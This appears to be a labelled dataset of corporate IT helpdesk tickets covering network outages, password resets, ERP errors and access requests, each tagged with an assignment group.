outage: ___x__network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? __no_______ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? _______1:29pm et on 08/11._______________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? __no_____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? __no_____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? no(yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ___no_____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ______na_____ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ____na_______ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +programdnty in erp not loading programdnty in erp not loading,GRP_0 +blank call // loud noise blank call // loud noise,GRP_0 +"license query hello ,_x000D_ +please arrange that mrs de gracia fernandez ghjkzalez (100783) a k1 (access to your payroll) gets approval._x000D_ +",GRP_0 +"lhqsm674 (kas hfyujqti jdcbiezx2): average (4 samples) disk free on c:\ is now 9%, which is below the warning threshold. lhqsm674 (kas hfyujqti jdcbiezx2): average (4 samples) disk free on c:\ is now 9%, which is below the warning threshold (10%) out of total size 75.0 gb",GRP_12 +npc 311190861. please refer screenshot. npc 311190861. mrp type incorrect error. ,GRP_11 +"application response time (other network resources work normally) please provide details in the template below (if multiple applications are impacted, please use the quick ticket template in the ""operations"" folder). +site / location : corporate +user id (ad) : prohgtyarb +system you are seeing performance problems on (please list all) (e.g., crm, erp, bw, bobj): workflow +transactions that are slow (e.g., va01, create an order): quote +area this belongs to (e.g., sales, finance, markhtyeting etc.): sales +how can this issue be replicated by the it support group: +are other users seeing this? +please attach relevant screenshots and exact times when the issue occurred: q#3116214820 is stuck in my workflow, when i try to go in it, says i am in it, and i cannot save it out",GRP_13 +"major problem with inventory the needs to be sev2. because it heavily limits the amount of production i can put out on the floor. also, multiple people and departments are affected, not just me. this includes many additional man-hours._x000D_ +_x000D_ +received from: lijrvdgh.wfhmdsoa@gmail.com_x000D_ +_x000D_ +i am having an issue with the oracle powder charging system automatically issuing material to production orders in erp. we are having to use many extra man hours manually entering in the data in erp. also, this problem dramdntyatically decreases the efficiency and accuracy or issuing production orders._x000D_ +_x000D_ +",GRP_45 +unable to log in to windows unable to log in to windows,GRP_0 +" usa, ar - pbx (rqxaudix.company.com) is down since 11:24am on 08/11/16 usa, ar - pbx (rqxaudix.company.com) is down since 11:24am on 08/11/16",GRP_8 +"access to security group : k-gshn +summary:please add me to the k-gshn e-mail group. ",GRP_2 +plug in not responding error in erp plug in not responding error in erp,GRP_0 +"error message in pthsqroz moedyanvess +erp pthsqroz moedyanvess +error message: ""object notification: business operation not entered in your user master' + +",GRP_11 +outlook goes to not responding outlook goes to not responding,GRP_0 +user wanted to reset internet explorer user wanted to reset internet explorer ,GRP_0 +account locked out account locked out ,GRP_0 +erp SID_34 erp production account locked erp SID_34 erp production account locked ,GRP_0 +transfer information from old to new laptop transfer information from old to new laptop,GRP_3 +can't print in color color printer not working,GRP_3 +HostName_562 i'm unable to reach the destination server ... is it offline ?,GRP_12 +"zpress does not save data for material 5666264 zpress does not save data for material 6777375, pl. check for order no 115697658",GRP_20 +can not join skype meeting can not join skype meeting,GRP_0 +"pc aufstellen bitte an smpijawb eawkpgqf weiterleiten:_x000D_ +nachdem das alicona messgerät umgestellt wurde, muss der pc für sdnemlwy dsbmgonk aufgebaut werden (apl vor juchaomy gaxrulwo - av abstechprogramdntym)._x000D_ +soll termin bis 26.august_x000D_ +mitarbeiterin kommt am 29.august zurück",GRP_42 +"arbeitsplatz umziehen bitte an smpijawb eawkpgqf weiterleiten:_x000D_ +alicona messgerät muss von av abstechprogramdntym in halle 4 (ehem. ventilstößel kontrolle) umgestellt werden._x000D_ +soll termin in kw 33",GRP_42 +unable to launch outlook and skype unable to launch outlook and skype,GRP_0 +"access to q drive for pollaurid w _x000D_ +received from: inhekdol.anvqzdif@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +can you help to put in a ticket for access to the quality assurance drive (q) for employee uqjbkydr bsqofdlx (username: whalep) aerp?_x000D_ +_x000D_ +i have copied the ""owner"" of the drive: eozqgims rbmosifh, quality manager for permission reasons._x000D_ +_x000D_ +",GRP_12 +flash player incompatibility flash player incompatibility,GRP_0 +no audio device installed no audio device installed ,GRP_62 +wifi not working wifi not working ,GRP_0 +need help in connecting a skype meeting that is coming up with an error need help in connecting a skype meeting that is coming up with an error,GRP_0 +unable to open pdf files. unable to open pdf files in user system,GRP_19 +"not able to use command field _x000D_ +_x000D_ +received from: ulroqsyf.wctpnarb@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +i am not able to use command field. by default it is taking mc+e._x000D_ +pl. help_x000D_ +_x000D_ +_x000D_ +[cid:image001.jpg@01d1f3f8.207cbde0]_x000D_ +_x000D_ +",GRP_0 +"microsoft .net framdntyework 4.5 missing _x000D_ +_x000D_ +received from: kuznvase.jrxtbuqz@gmail.com_x000D_ +_x000D_ +dear all,_x000D_ +please open ticket and address shortly._x000D_ +",GRP_0 +"netweaver will not start i receive an error message when trying to start business_client. ""microsoft net framdntyework 4.5 is not installed"" i upgraded my knovel software last night and now i am receiving this message. + ext 133 ( ldil8514566)",GRP_0 +"please, send me a link for password_management_tool password manager. please, send me a link for password_management_tool password manager.",GRP_0 +"skype funktionert nicht. from: zlnxswvp ptmzsbhk _x000D_ +sent: thursday, august 11, 2016 11:58 am_x000D_ +to: nwfodmhc exurcwkm_x000D_ +subject: sab : wg: skype lässt sich nicht starten_x000D_ +_x000D_ +bitte um unterstützung _x000D_ +_x000D_ +freundliche gruesse / kind ",GRP_0 +"headset connecting the plantronic headset beshryuwire c725 with thecomputer the speaker of the computer is turned on, too._x000D_ +how can it be turned off._x000D_ +_x000D_ +note: the issue already was solved.",GRP_0 +"datenübertragung _x000D_ +_x000D_ +received from: weszfyok.fbadnjhu@gmail.com_x000D_ +_x000D_ +hallo,_x000D_ +_x000D_ +es gibt anscheinend probleme bei der übertragung von stempelzeiten ( EU_tool / erp ) bei 8-stelligen personalnummern ( siehe unten )_x000D_ +_x000D_ +freundliche grüße_x000D_ +weszfyok fbadnjhu_x000D_ +_x000D_ +_x000D_ +von: axesnghb cyzuomxa_x000D_ +gesendet: donnerstag, 28. juli 2016 12:17_x000D_ +an: zslugaxq dtwlrofu; laeusvjo fvaihgpx_x000D_ +cc: weszfyok fbadnjhu_x000D_ +betreff: leihmitarbeiter lochthowe, andre, 21111177_x000D_ +_x000D_ +_x000D_ +hallo zusammen,_x000D_ +_x000D_ +seit dem 21.07.2016 stempelt herr lochthowe mit seiner karte in EU_tool ._x000D_ +_x000D_ +seit dem zeitpunkt werden die daten nicht an erp übertragen._x000D_ +_x000D_ +hier stimmt etwas nicht mit der karten- nr. oder der stammnummer._x000D_ +_x000D_ +wir haben hier den ersten mitarbeiter mit einer achtstelligen stammnummer._x000D_ +_x000D_ +kann es daran liegen ????_x000D_ +_x000D_ +bitte mal prüfen._x000D_ +_x000D_ +_x000D_ +_x000D_ +mit freundlichen grüßen_x000D_ +best ",GRP_25 +bobj webi jobs are not running bobj webi jobs are not running. please investigate at the earliest.,GRP_14 +"international payments rejected for payment method ""l"" _x000D_ +von: pradyhtueep yyufs _x000D_ +gesendet: 10 august 2016 09:10_x000D_ +an: ubiqcrvy mxjcnqfs; nathyresh gayhtjula; -erp-fico; ebusaar munnangi_x000D_ +cc: iszaguwe bdfzamjs; pkjhmfgc zuvjqgwa; joacrhfz ctrbjusz; maryhtutina bauuyternfeyt_x000D_ +betreff: re: zahllauf nicht ausgeführt - international payments rejected_x000D_ +_x000D_ +jartnine,_x000D_ +_x000D_ +we are looking into the development changes which were implemented recently. we will get back to you by tomorrow._x000D_ +_x000D_ +sorry for any inconvenience._x000D_ +_x000D_ +",GRP_10 +"laptop doesnt stay on , power light stays on for 1 minute only and goes off. _x000D_ +laptop doesnt stay on , power light stays on for 1 minute only and goes off._x000D_ +_x000D_ +_x000D_ +from: bmhxwvys tdmgolwn _x000D_ +sent: thursday, august 11, 2016 3:08 pm_x000D_ +to: nwfodmhc exurcwkm_x000D_ +cc: zrpemyab xvzwcbha_x000D_ +subject: tru : fw: damaged laptop_x000D_ +_x000D_ +_x000D_ +dear sir_x000D_ +_x000D_ +damage dell laptop lit only 1 minute in, see attachment_x000D_ +thank for the response and cooperation._x000D_ +_x000D_ +best ",GRP_19 +erp password reset in SID_34 erp password reset in SID_34,GRP_0 +"erp log on problem _x000D_ +_x000D_ +received from: pgeknaxy.usokqprd@gmail.com_x000D_ +_x000D_ +hello team,_x000D_ +_x000D_ +i can not log on erp with my password._x000D_ +_x000D_ +could you help me for this issue?_x000D_ +_x000D_ +",GRP_0 +password reset alert from o365 for user lafgturie sherwtgyu password reset alert from o365,GRP_0 +"when connecting to hr_tool, etime window will open but nothing populates the screen. empty screen for etime, no access. , hr_tool portal access through single sign-on not working. ",GRP_0 +"business card request + +received from: zqbmxdgy.stuwbacm@gmail.com + +hello team, + +can you please arrange a business card for me , please find the details below and let me know the protocol for the same . + +zqbmxdgy stuwbacm +analyst - apps dev maintenance & ebus +zqbmxdgy.stuwbacm@gmail.com + +warm ",GRP_0 +"to remove plant_101 plant assignment to sale orgs 1444 & 1445 - romania & slovakia project related this was supposed to be removed immediately after uat, however we missed removing this assignment. shipment from plant_101 was assigned only for uacyltoe hxgayczeing purposes. business requirement may come in future. ",GRP_13 +"business card request + +received from: zqbmxdgy.stuwbacm@gmail.com + +hello team, + +can you please arrange a business card for me , please find the details below and let me know the protocol for the same . + +zqbmxdgy stuwbacm +analyst - apps dev maintenance & ebus - erp sd +zqbmxdgy.stuwbacm@gmail.com + + +warm ",GRP_0 +"wegen ein sicherheitsupdate kb4272050 sind keine netzwerkverbindung moeglich wegen ein sicherheitsupdate kb4272050 sind keine netzwerkverbindung moeglich._x000D_ +_x000D_ +fehlermeldung : keine netzwerk verbinung.",GRP_33 +"change o365 license fron s1 to k1 could you please changes the o365 license of the following employees from ""s1"" to ""k1"" +luifdsts olhryhira - 3005661000 +cost center pam003 +maertosv 315463440 krsxguty odqpwsgi krsxguty.odqpwsgi@gmail.com +soarewer1 31543252 uzavdmoj wrpkolzq uzavdmoj.wrpkolzq@gmail.com +alvesdss 315534434 kgcw isyfngdz ziqmkgcw.isyfngdz@gmail.com +machasssg 315423428 puxqyesm xqathyuz gislei.machado@company.com +peredrfifj 315484560 flavio pereira flavio.pereira@company.com +schidrftas 315453454 maihdlne xodeqlsv maihdlne.xodeqlsv@gmail.com +vieiresddr 315463249 dfjbnrem vabqwxlm dfjbnrem.vabqwxlm@gmail.com +albussdqp 31565532 imeytghj lyrikzep imeytghj.lyrikzep@gmail.com +larsffar 3156232361 rafaelm lara aiuknwzj.nbsjzkqa@gmail.com +ribewddwic 315252651 fhkebpyx tqpermnu fhkebpyx.tqpermnu@gmail.com +carmsswot 31525455 uvyjpixc kbfcrauw uvyjpixc.kbfcrauw@gmail.com +garcisdwr 31552598 rodrigo fernansdes garcia rodrigofernandes.garcia@company.com +olivesswc2 315271 gcbrdkzl oamkcufr cassio.olibercsu@company.com +placisddwd 31502561 douglas placido douglas.placido@company.com + +grateful! +",GRP_34 +"HostName_1003:( kisp - iis - app server production )disk free on e:\ is now 15%, which is below the warning threshold (15%) HostName_1003:( kisp - iis - app server production )disk free on e:\ is now 15%, which is below the warning threshold (15%) ",GRP_12 +orders can not be printed. es kann keine auftrag gedruckt werden. ziehe fehler. ,GRP_0 +change erp logon language from german to english change erp logon language from german to english,GRP_0 +erp SID_34 password reset for user mertut erp SID_34 password reset for user mertut,GRP_0 +"account locked. account locked_x000D_ +",GRP_0 +"please reset erp SID_34 password for user peilerk - thank you! _x000D_ +_x000D_ +received from: krdvgzeh.yboasemp@gmail.com_x000D_ +_x000D_ +üdvözlettel / mit freundlichen grüßen / best ",GRP_0 +"printing _x000D_ +_x000D_ +received from: yfmaqovp.wdonhbez@gmail.com_x000D_ +_x000D_ +hello all,_x000D_ +_x000D_ +do you have any news about the issue of printing of drawings and production papers?_x000D_ +when is the issue solved?_x000D_ +",GRP_0 +cannot release order / does not print plant_108 -> SID_34,GRP_45 +account locked. account locked.,GRP_72 +"erp/SID_34 - production orders cannot be printed out error:_x000D_ +verbindung zu system production_order_interface_app-fu mit destination_x000D_ +production_order_interface_vendor-connc-fu fehlerhaft:_x000D_ +fehler beim öffnen einer rfc-verbindung (cpic-call_x000D_ +(1).",GRP_45 +"restore some folders for stoebtrt _x000D_ +_x000D_ +received from: sxhcapoe.kbluefip@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +path to the folder:_x000D_ +\\HostName_705\departments\lean\lean³-projekte\lean-projekte_geplant\fy17_x000D_ +_x000D_ +_x000D_ +--_x000D_ +mit freundlichen grüßen / best ",GRP_0 +"abended job in job_scheduler: SID_37hotf received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: SID_37hotf at 08/11/16 04:35:26",GRP_8 +"wir haben hier in koenigsee probleme mit dem druck aus erp. es kommt ein ""production_order_interface_app"" fehler. wir haben hier in koenigsee probleme mit dem druck aus erp. es kommt ein ""production_order_interface_app"" fehler._x000D_ +",GRP_14 +"error drucker _x000D_ +_x000D_ +received from: gsnuhpji.qpyfctwl@gmail.com_x000D_ +_x000D_ +es wird nichts mehr ausgedruckt_x000D_ +fehlermeldung_x000D_ +[cid:image001.png@01d1f3ba.6428d800]_x000D_ +_x000D_ +mit freundlichen grüßen / best ",GRP_33 +setup new ws \chkzbeav ykeilmog setup new ws \chkzbeav ykeilmog,GRP_24 +"no connection to the production_order_interface_app-fu (production_order_interface_vendor connc fu) hello,_x000D_ +_x000D_ +we have no connection to the plsseald-fu server. i think the server is down._x000D_ +we can't print production orders in germany_x000D_ +_x000D_ +_x000D_ +no connection to the production_order_interface_app-fu (production_order_interface_vendor connc fu)_x000D_ +error rfc connection (cpic-call)",GRP_45 +probleme mit erpgui \tmqfjard qzhgdoua probleme mit erpgui \tmqfjard qzhgdoua,GRP_24 +setup new ws \ylhptzmd owslfzqi setup new ws \ylhptzmd owslfzqi,GRP_24 +setup new ws \wphqnxly htvrbxmd setup new ws \wphqnxly htvrbxmd,GRP_24 +barcode scanner defekt \pifyudbo tagsfbny barcode scanner defekt \pifyudbo tagsfbny,GRP_24 +"business_client issue 1.) search material code are unavailable that seraching result is 0 via ""specification""_x000D_ +",GRP_14 +"elengineering toolonic ethics for employee cajdwtgq breqgycv - training course not activated _x000D_ +_x000D_ +received from: aofnvyzt.eqiyskhm@gmail.com_x000D_ +_x000D_ +hello team,_x000D_ +good morning_x000D_ +_x000D_ +please your help to add ethics training course to my csr member , cajdwtgq breqgycv._x000D_ +_x000D_ +daria is working in company since march 2015 and despite all our requests since she joined company_x000D_ +she never received the training course invitation as required to be completed by all employees._x000D_ +_x000D_ +we've answered the below questions by your request,_x000D_ +if further info is required, please let us know._x000D_ +_x000D_ +",GRP_23 +"outlook issues,yesterday my outlook took about2 hours to load , afterit was very very slow. today can not open outlook outlook issues,yesterday my outlook took about2 hours to load , afterit was very very slow. today can not open outlook anymore_x000D_ +please check ",GRP_0 +dell 4 in 1 dell 4 in 1 adapter not working,GRP_19 +"pc is not booting up pc is not booting up. user has already spoken to steffen._x000D_ +_x000D_ +computer name : eagw8111608_x000D_ +ext : 591",GRP_28 +"read and write access to oe drive fürth _x000D_ +_x000D_ +received from: scjxobhd.ldypjkmf@gmail.com_x000D_ +_x000D_ +hello help team ,_x000D_ +_x000D_ +can you pls. arrange read & write access for dveuglzp mqetjxwp to the following oe drive on teams\\eagcldaten\teams:_x000D_ +_x000D_ +_x000D_ +_x000D_ +[cid:image002.jpg@01d1ee5f.057a25d0]_x000D_ +_x000D_ +_x000D_ +_x000D_ +",GRP_0 +business_client issue specification searching in SID_34 is not returning any results ... works okay in SID_1,GRP_14 +"issue on pricing in distributor_tool we have agreed price with many of the distributors for a given period and skus. this is specified through pricing condition zcnc in erp. in distributor_tool, it is order through sold to & ship to combination._x000D_ +- till august – flat rate deployment, we did not have any issues._x000D_ +- today, when the distributor tried to book the order with zcnc pricing condition. the initial screen shows the correct price. but when the item is selected and quick order is clicked on, the price is getting changed to list price less standard discount instead of retaining the zcnc price.",GRP_21 +"network outage : melbourne (rowville) site is hard down at 01:34 am et on 08/11. what type of outage: ___x__network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ____no_____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ________01:34 am et on 08/11______________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? __no_____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? __no_____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? _no_____ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? _no_______ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? ____yes phone warehouse_tool mail_____ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? _____na______ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ____no_______ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _____no__ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ____yes____ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"desktop notworking desktop connected to the phone system in server room at company is not working. please could you troubleshoot and fix the problem._x000D_ +_x000D_ +",GRP_19 +"abended job in job_scheduler: Job_1148 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_1148 at 08/11/16 01:15:24",GRP_9 +"power adaptor in docking station is faulty if i connect my laptop to docking station and try to power on, encounter the attached message. have confirmed that the message does not appear if i use external adaptor or another docking station. serial number of docking station is qad1234013705. + +location: 4k-25. +",GRP_19 +"circuit outage: mpls ciruit is down at matlxjgi elrndiuy since 12:19am et on 08/11. site is up on vpn. what type of outage: _____network __x___circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ___yes______ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ______12:19am et on 08/11________________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ___no____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ___no____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? __yes____ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? __yes______ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? ___no______ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"i can't login skype after change password i can't login skype after change password , but other application is ok ",GRP_0 +89.61.05.183 - thermal warning 89.61.05.183 - the temperature of the switch has reached red threshold. ,GRP_4 +request to reset microsoft online services password for mvkpjdfi.guexyfpk@gmail.com request to reset microsoft online services password for mvkpjdfi.guexyfpk@gmail.com,GRP_0 +"outlook search issues _x000D_ +_x000D_ +received from: duoyrpvi.wgjpviul@gmail.com_x000D_ +_x000D_ +hi team,_x000D_ +_x000D_ +my outlook is failing to bring up emails in my search function:_x000D_ +_x000D_ +[cid:image001.png@01d1f3b2.4bb18b30]_x000D_ +_x000D_ +i have tried to rebuild the indexing but it fails. this has been happening all week._x000D_ +_x000D_ +i need to be able to use this function._x000D_ +_x000D_ +",GRP_0 +"help to install symantec in a computer lpaw7404734 hi team, i need your help to reinstall antivirus (symantec) in a computer lpaw8515845. the symantec don't working._x000D_ +_x000D_ +if you have more doubts, please contact me.",GRP_50 +"dell 7350: pc boot up failure.urgent dell 7350: pc boot up failure. +-had to try restart the pc multiple times. +the system reboots automatically.in a loop. +-finally got the pc up and running. +-seems to be issue with the pc .again the pc shut down. +computer name: lmsl9516544 +-os: win 8 +-contact : ",GRP_3 +"abended job in job_scheduler: Job_461 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_461 at 08/10/16 17:44:25",GRP_5 +"new employee mikhghytr karaffa - needs new desk phone new employee mikhghytr karaffa - needs new desk phone + +phone: ",GRP_3 +"global erp crm: it appears that erp crm is trying to send the ""review by sales"" email to the customer contact. global erp crm: it appears that erp crm is trying to send the ""review by sales"" email to the customer contact. the ""review by sales"" email was originally configured so that it would only get sent to the sales employee. the ""review by sales"" email should never get sent to the customer contact. examples 7611181804, 7611181405, 7611181483. refer to the attached screen shots. did someone change something? please investigate and advise aerp.",GRP_15 +mobile device activation mobile device activation,GRP_0 +unable to install engineering_tool unable to install engineering_tool,GRP_0 +password reset for bsopzxhi irfhcgzq password reset for bsopzxhi irfhcgzq,GRP_0 +"password _x000D_ +_x000D_ +received from: xzjlkfvc.agfmpyhr@gmail.com_x000D_ +_x000D_ +hi,_x000D_ +please reset my password and sending the password to log in._x000D_ +well ",GRP_0 +create sso for qiyujevw ogadikxv create purchasingupstreamsso ad group for qiyujevw ogadikxv (wanrtygm3). the samaccountname in ad is to be all lower case.,GRP_2 +"unlock account email in cell phone the user michthey olivgtyera id: olivgtyemc hello team, + +could you please unlock account email in cell phone the user michthey olivgtyera id: olivgtyemc + +",GRP_0 +"abended job in job_scheduler: Job_1953d received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_1953d at 08/10/16 14:57:25",GRP_6 +dynamics crm advanced find ribbon issue the ribbon in advanced find is displaced making it difficult to query the system/create views. (see attached),GRP_40 +"when using phone, connection is intermittent. cannot use desk phone for calls and skype meetings. my cell phone is +other people at jc have complained about the same thing.",GRP_4 +vpn link vpn link ,GRP_0 +unable to login to skype unable to login to skype,GRP_0 +"error in accessing reporting_engineering_tool error in accessing reporting_engineering_tool_x000D_ +_x000D_ +bill, this would need to be a ticket. gso – please assign to the analytics technical team. might be that the t account for magda is locked out; can republish using an analytics t account._x000D_ +_x000D_ +",GRP_9 +"engineering tool - permition to sign in - include user id on cad users list i need have access on engineering tool, however when i tried do logon engineering tool show me te message that i had permission . + +please include my user id on cad user list. + +let me know if you need more information. + +contact phone: +",GRP_0 +reset passwords for esias bosch using password_management_tool password reset. the,GRP_17 +"error login on to the SID_34 system. error login on to the SID_34 system._x000D_ +-verified user details.(employee# & manager name)_x000D_ +-user has tried the password_management_tool pwd manager._x000D_ +-unlocked the erp id._x000D_ +-caller confirmed that he was able to login._x000D_ +-issue resolved.",GRP_0 +reporting_tool web link in crm not opening up reporting_tool web link in crm not opening up,GRP_0 +"sharepiont discount request error infopath cannot submit the form._x000D_ +an error occurred while the form was being submitted._x000D_ +the form cannot be submitted to the following location: _x000D_ +the site may be offline, read-only, or otherwise unavailable._x000D_ +access denied. before opening files in this location, you must first add the web site to your trusted sites list, browse to the web site, and select the option to login automatically._x000D_ +_x000D_ +",GRP_0 +"erp access name:nxloukai cpbzkrel +language: +browser:microsoft internet explorer +email:nxloukai.cpbzkrel@gmail.com +customer number: +telephone: +summary:i need an update on my it ticket ticket_no1530185...this needs to be resolved aerp",GRP_0 +unable to launch outlook unable to launch outlook,GRP_0 +company center page does not load company center page does not load,GRP_0 +"system login issue. login issue_x000D_ +-verified user details.(employee# & manager name)_x000D_ +-checked the user name in ad and unlocked the account._x000D_ +-advised the user to login and check._x000D_ +-caller confirmed that she was able to login._x000D_ +-issue resolved.",GRP_0 +"netweaver not working netweaver not working + +name:iauqlrjk nijdaukz +language: +browser:microsoft internet explorer +email:iauqlrjk.nijdaukz@gmail.com +customer number: +telephone: +summary:i am not able to open net weaver business client, i receive an error that microsoft .net framdntyework 4.5 is not installed and to contact my administrator.",GRP_0 +"qualys scan for required server completion HostName_17-new category task owner_x000D_ +documentation see attached server profile forms nvyjtmca xjhpznds_x000D_ +global security create global groups and add the appropriate users security group_x000D_ +local security implement local users/groups/security_tool kathght shfhyw_x000D_ +monitoring add to reporting_tool monitoring/dac inventory erirtc baurhty/hoavdlwc ungksotp_x000D_ +sep add server to sep management server akisjtzm uvbmysgcbenezer/kishore nikam_x000D_ +sms/patching_antivirus_sw add server to sms/patching_antivirus_sw shahid nawab_x000D_ +security run qualsys scan gzhapcld fdigznbk / ugyothfz ugrmkdhx_x000D_ +backup configure backup local/remote timnhyt rehtyulds/gdhyrts muggftyali _x000D_ +",GRP_2 +"shop_floor_app problems from: vldwtjgr vtzakpol _x000D_ +sent: wednesday, august 10, 2016 8:27 pm_x000D_ +to: nwfodmhc exurcwkm_x000D_ +cc: dctvfjrn oypnxftq_x000D_ +subject: amar re: shop_floor_app problems_x000D_ +_x000D_ +help desk,_x000D_ +_x000D_ +we are experiencing problems widtqkwzup vtkzuqly in the tinning cell. please assign the shop_floor_app support group to work on this issue. the operators are reporting that not all the production orders they are badging are posting. please let me know what further info you need from me._x000D_ +_x000D_ +_x000D_ +",GRP_43 +engineering_tool error engineering_tool error,GRP_0 +"password reset as its expired name:ivxybewh ykhsqvnu +language: +browser:microsoft internet explorer +email:ivxybewh.ykhsqvnu@gmail.com +customer number: +telephone: +summary:i need all of my passwords reset so i can log into my computer and into erp.",GRP_0 +unable to launch outlook unable to launch outlook,GRP_0 +vitalyst transfer: service unavailable on crm online vitalyst transfer: service unavailable on crm online,GRP_0 +windows password reset windows password reset,GRP_0 +hardware issue when user is trying to use a separate computer t install a software he's getting a message stating that windows cannot connect to the domain either because the domain controller is down or otherwise unavailable or because your computer account was not found. this computer needs to replace a dead pc in the shop floor and user need to install a software to make it up and running.,GRP_3 +call transferred to amfgtyartya for password call transferred to amfgtyartya for password ,GRP_0 +"trying to access collaboration_platform site + +i'm trying to access this collaboration_platform site. i believe it was managed by bill gofgrthyuetz who left the company. i requested access on 6/30/16 and haven't received a response. + +",GRP_16 +password reset password reset,GRP_0 +"hi team, my laptop's random shut down problem still exists. it now shows ""no battery detected"". hi team, my laptop's random shut down problem still exists. i lose important unsaved data because of it. it now shows ""no battery detected"". please replace battery or laptop or please rectify the issue as soon as possible.",GRP_3 +tfrbwoua aegpkruc unable to print from pdf tfrbwoua aegpkruc unable to print from pdf,GRP_0 +"urgent: need full py access for all german locations hi, +could you please usa me full access + permissions for maintaining py data in erp for all german locations? +reference id can be mnakehrf mvunqihf or hess kagthrl-heyinz. +approval can be provided by jywvemun qngschtz. + +",GRP_2 +increase the ramdnty from 80gb to 128 gb ramdnty for HostName_1045 increase the ramdnty from 80gb to 128 gb ramdnty for HostName_1045 server,GRP_12 +"reset password request for bobj + +received from: iqcylpok.ascpqvni@gmail.com + +hello, + +please reset my password for bobj in SID_37. my user name is mcfgtydonn. ",GRP_0 +"zip code entered into erp account in SID_34 does not synch with msd crm hello_x000D_ +account 81548372, zip code was updated in erp SID_34, however it does not move to msd crm, the error says the post code is not valid. do we know in what format the postal code should be entered for israel? can you/elogic share the rules regarding postal code formats with lucinda´s team, please?_x000D_ +_x000D_ +",GRP_40 +"decommission of HostName_553-old from: zmgsfner caltmgoe _x000D_ +sent: 15 july 2016 13:50_x000D_ +to: sadghryioshkurtyar hiremath _x000D_ +cc: mfyivqes cpihaxbs _x000D_ +subject: HostName_553-old_x000D_ +_x000D_ +hi_x000D_ +_x000D_ +you can remove the old HostName_553 from the domain now._x000D_ +_x000D_ +i have not needed to access it recently._x000D_ +_x000D_ +let me know when you are done and i will power it down and move into storage._x000D_ +_x000D_ +",GRP_12 +password reset request from o365 password reset request from o365,GRP_0 +"low disk space on lhqSID_1854 - f drive from: vwaliogd dviwuzhm +sent: friday, august 5, 2016 8:07 pm +to: gdhyrts muggftyali ; sadghryioshkurtyar hiremath +cc: stefyty parkeyhrt ; wyjsbzda yfeuhtib +subject: low disk space on lhqSID_1854 - f drive + +hi nagfghtyudra / sadghryiosh, + +i was checking my access to lhqSID_1854 for tomorrow's dot net application deployment and realized f: is running out of space with only 4kb free space. is this ok? if not, request your help to clear off any temporary files to free up some space. +adding stefyty parkeyhrt in cc if you need approvals to move over files between drives if required. + + + +",GRP_12 +"t drive folder access zugriff auf verzeichnis angefragt. +folder access requested. + +benutzer id ? +user id karagtfma + +benutzer die position titel? +user's position title manager commodities amerirtcas + +verzeichnis? +folder //HostName_768 all items under purchasing + +art des zugriffs? +type of access ? (read only or full control) full control + +name des vorgesetzten? +manager name?",GRP_34 +unable to launch outlook unable to launch outlook,GRP_0 +"EU_tool funktioniert nicht. EU_tool funktioniert nicht._x000D_ +meldung : unbekannten fehler . system distributor_tool fehler.",GRP_0 +"telephony_software < -- > erp the terms of payment are not in line between crm and erp_x000D_ +_x000D_ +customer 81800540 fredi stury ag ruemlang_x000D_ +_x000D_ +sales org. 1278_x000D_ +crm-entry: 0008 2% 20 days net 40 days _x000D_ 